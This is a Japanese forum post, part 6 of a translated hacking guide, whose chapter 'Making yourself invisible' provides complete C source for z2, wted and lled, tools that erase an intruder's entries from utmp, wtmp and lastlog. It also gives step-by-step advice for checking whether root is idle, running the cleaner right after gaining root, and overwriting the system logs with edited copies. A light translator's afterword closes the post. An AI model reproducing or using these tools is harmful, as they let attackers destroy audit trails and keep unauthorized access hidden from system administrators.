お子様 UNIX 第6部


あと1回で終わり 投稿者:soujinin  投稿日:03月10日(火)

   ====================   お子様 UNIX   第6部  =======================

--------------------------
第5章  存在を隠す
Chapter V
Making yourself invisible
--------------------------
ハッキング全体のポイントは、出来る限り多くの情報を集めるために、アクセスを
続けることだ。馬鹿なことをすれば、一度でも、utmp, wtmp, xferlog などを消し
忘れたら、そのシステムへアクセスできなくなる。次の事を習慣にして、それぞれ
のシステムを良く学ぶ。

システムの一部になる。一度に多くのシステムで学ぶには、多くの注意が必要だ。
習慣にすることを忘れてはいけない。ログイン、転送などで存在を消し、足跡を
消すことを習慣にする。一つでも失敗してはいけない。アカウントを失い、ある
種の責任を負わされるかもしれない。

----------------------------
セクション5A  ZAP2
Section 5A
Zap2 (for wtmp/lastlog/utmp)
----------------------------
ログをクリーンにするいろいろなプログラムがある。しかし、ZAP2 がベストだ。
私は、z2 という名前でコンパイルした。z2 は root アクセスしてから走らせなけ
ればならない。これは最初に走らせなければならない。(絶対に知っておく)

誰がいるか、finger @host.xxx をして root や管理者がいるかどうか、アイドル
タイムを見る。

ログインする。そしてすぐに w をタイプする。アイドルタイムと誰がいるかを知る
ために。しかしこの時、同時にネストしたディレクトリに隠した root アクセスでき
るコマンドをタイプする。root アクセスと同時に ./z2 でログインした形跡を消す。

これで安全だ。w や who コマンドは utmp を調べる。もし ftp や他の方法なら、
別のプログラムを使う。これは次のセクションで説明する。wted と lled だ。

最初にこの Z2 を完了させる。システムのどこにそれぞれのファイルがあるかを調
べて、Z2.c を編集する。

ファイルの先頭にこの部分がある。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

私がログインしたほとんどのシステムでは、次のようになっていた。
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

しかし、ファイルがどこにあるかは自分で見て回ること。
/var/log も一般的だ。

ログの位置を加えて、このファイルをコンパイルする。これでログインの後に Z2
を使い、足跡を消す準備ができた。
これが、そのファイルだ。
z2.c
--------------------------- cut here
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
--------------------------- cut here

--------------------------
セクション5B スクリプト
Section 5B
Other scripts
--------------------------
もう一つの方法を説明しよう。ログインした後で、z2 を使う。ftp を使う必要がある。
(決して ftp や telnet で外へ出ないことを思い出す)  Ok, ftp でファイルを送る、
あるいはシステムの他のアカウントへログインしたら、wted を使う。wted は wtmp
をエディットしてログインを消し去る。lled もまた、必要になるだろう (lastlog) 

ログに位置をセットしてコンパイルした後で ./wted とタイプすると, メニューが
現れる。

[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
            -h      This help
            -f      Use FILE instead of default
            -a      Show all entries found
            -u      Show all entries for USER
            -b      Show NULL entries
            -e      Erase USER completely
            -c      Erase all connections containing HOST
            -z      Show ZAP'd entries
            -x      Attempt to remove ZAP'd entries completely

もし、ユーザー tsmith で ftp したら、wted -x -e tsmith とタイプする。
この時、プログラムは ユーザー tsmith のログインを消すかどうか、一つ
づつ聞いてくる。 

ログインを消した後で、確実に chmod 644 the wtmp.tm を行ない、ログディレクトリ
にある wtmp に上書きする。 
  1. chmod 644 wtmp.tmp
  2. cp wtmp.tmp /var/adm/wtmp

これが wted のプログラムだ。
char file で指定する wtmp の位置を間違えないこと。
wted.c
---------------------- cut here
#include <stdio.h>
#include <utmp.h>
#include <time.h>
#include <fcntl.h>

char *file="/var/adm/wtmp";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
        {
        if(argv[i][0] == '-')
                {
                switch(argv[i][1])
                        {
                        case 'b': printents(""); break;
                        case 'z': printents("Z4p"); break;
                        case 'e': erase(argv[i+1],0); break;
                        case 'c': erase(0,argv[i+1]); break;
                        case 'f': file=argv[i+1]; break;
                        case 'u': printents(argv[i+1]); break;
                        case 'a': printents("*"); break;
                        case 'x': remnull(argv[i+1]); break;
                        default:usage();
                        }
                }
        }
}

printents(name)
char *name;
{
struct utmp utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
        {
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp))
                {
                if ( !(strcmp(name,ptr->ut_name)) || (name=="*") ||
                (!(strcmp("Z4p",name)) && (ptr->ut_time==0)))
                        printinfo(ptr);
                }
        close(fp);
        }
}

printinfo(ptr)
struct utmp *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ut_name);
printf("%s\t",ptr->ut_line);
strcpy(tmpstr,ctime(&(ptr->ut_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ut_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
                if (host)
                        if (strstr(utmp.ut_host,host)) tot++;
                        else {cnt++;write(fd,&utmp,sizeof(struct utmp));}
                if (name) {
                if (strcmp(utmp.ut_name,name)) {cnt++;
                        write(fd,&utmp,sizeof(struct utmp));}
                else { 
                        if (n>0) {
                                n--;cnt++;
                                write(fd,&utmp,sizeof(struct utmp));}
                        else
                        {
                        printinfo(&utmp);
                        printf("Erase entry (y/n/f(astforward))? ");
                        c='a';
                        while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
                        if (c=='f') {
                                cnt++;
                                write(fd,&utmp,sizeof(struct utmp));
                                printf("Fast forward how many entries? ");
                                scanf("%d",&n);}
                        if (c=='n') {
                                cnt++;
                                write(fd,&utmp,sizeof(struct utmp));
                                }
                        if (c=='y') tot++;
                        } 
                      } }                                       
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
                if (utmp.ut_time) {
                        cnt++;
                        write(fd,&utmp,sizeof(struct utmp));
                }
                else
                        tot++;
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here

/vat/adm/lastlog もまた、クリーンにしたいだろう。
このためには、lled.c を使う。これを lled の名前でコンパイルする。
これが、lled のメニューだ。
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h      This help
-f      Use FILE instead of default
-a      Show all entries found
-u      Show all entries for USER
-b      Show NULL entries
-e      Erase USER completely
-c      Erase all connections containing HOST
-z      Show ZAP'd entries
-x      Attempt to remove ZAP'd entries completely

最初に -u で調べると良い。lastlog にある君のユーザー名がでない事もある。
しかし、君のホスト名は持っている。このようにする。
  lled -e username -c machine.edit
lastlog のホストエントリーを見るには、
  lled -a

chmod lastlog.tmp 644  を実行して、lastlog に上書きする。
 lastlog のパスを間違えないこと !
Ok これが lled.c だ。
-------------------------- cut here
#include <stdio.h>
#include <time.h>
#include <lastlog.h>
#include <fcntl.h>

char *file="/var/adm/lastlog";

main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i<argc;i++)
        {
        if(argv[i][0] == '-')
                {
                switch(argv[i][1])
                        {
                        case 'b': printents(""); break;
                        case 'z': printents("Z4p"); break;
                        case 'e': erase(argv[i+1]); break;
                        case 'c': erase(0,argv[i+1]); break;
                        case 'f': file=argv[i+1]; break;
                        case 'u': printents(argv[i+1]); break;
                        case 'a': printents("*"); break;
                        case 'x': remnull(argv[i+1]); break;
                        default:usage();
                        }
                }
        }
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
        {
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
                {
                if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
                (!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
                        printinfo(ptr);
                }
        close(fp);
        }
}

printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}

erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
                if (host)
                        if (strstr(utmp.ll_host,host)) tot++;
                        else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
                if (name) {
                if (strcmp(utmp.ll_line,name)) {cnt++;
                        write(fd,&utmp,sizeof(struct lastlog));}
                else { 
                        if (n>0) {
                                n--;cnt++;
                                write(fd,&utmp,sizeof(struct lastlog));}
                        else
                        {
                        printinfo(&utmp);
                        printf("Erase entry (y/n/f(astforward))? ");
                        c='a';
                        while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
                        if (c=='f') {
                                cnt++;
                                write(fd,&utmp,sizeof(struct lastlog));
                                printf("Fast forward how many entries? ");
                                scanf("%d",&n);}
                        if (c=='n') {
                                cnt++;
                                write(fd,&utmp,sizeof(struct lastlog));
                                }
                        if (c=='y') tot++;
                        } 
                      } }                                       
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
        fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
        while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
                if (utmp.ll_time) {
                        cnt++;
                        write(fd,&utmp,sizeof(struct lastlog));
                }
                else
                        tot++;
        }
        close(fp);
        close(fd);
        }
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}

usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n"); 
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
(この後のperl script は長すぎるので略)
   =========================================================
[訳者後記]
う、さすがにそろそろ疲れてきた。結構量があるねぇ。

   ....これを読んだ Win使いや Mac使いの皆さん。アナタも PC-UNIX をインス
トールしませんか。なに、ハードディスクに 300Mほど空きを作れば、相当の事が
できます。CPUパワー? きっと快適に Win95を楽しむためにペンティアムと 64M
くらいのメモリーは搭載してるでしょ。ぜーんぜん問題なし。
httpd、ftpd、popd、smtp.... 好きなだけ稼動させても有り余ります。
(いかにビル・ゲイツが資源を食いつぶしているか..)
掲示板100個くらい作っても大丈夫だし、ダイヤルアップだって50くらいは....
1回線10人ユーザーを集めるとしたら、500人のユーザーが PC一台で。安い料金で
会員を集めて....    

はっ、いかん。これじゃどっかのタコプロバイダーだ。(笑)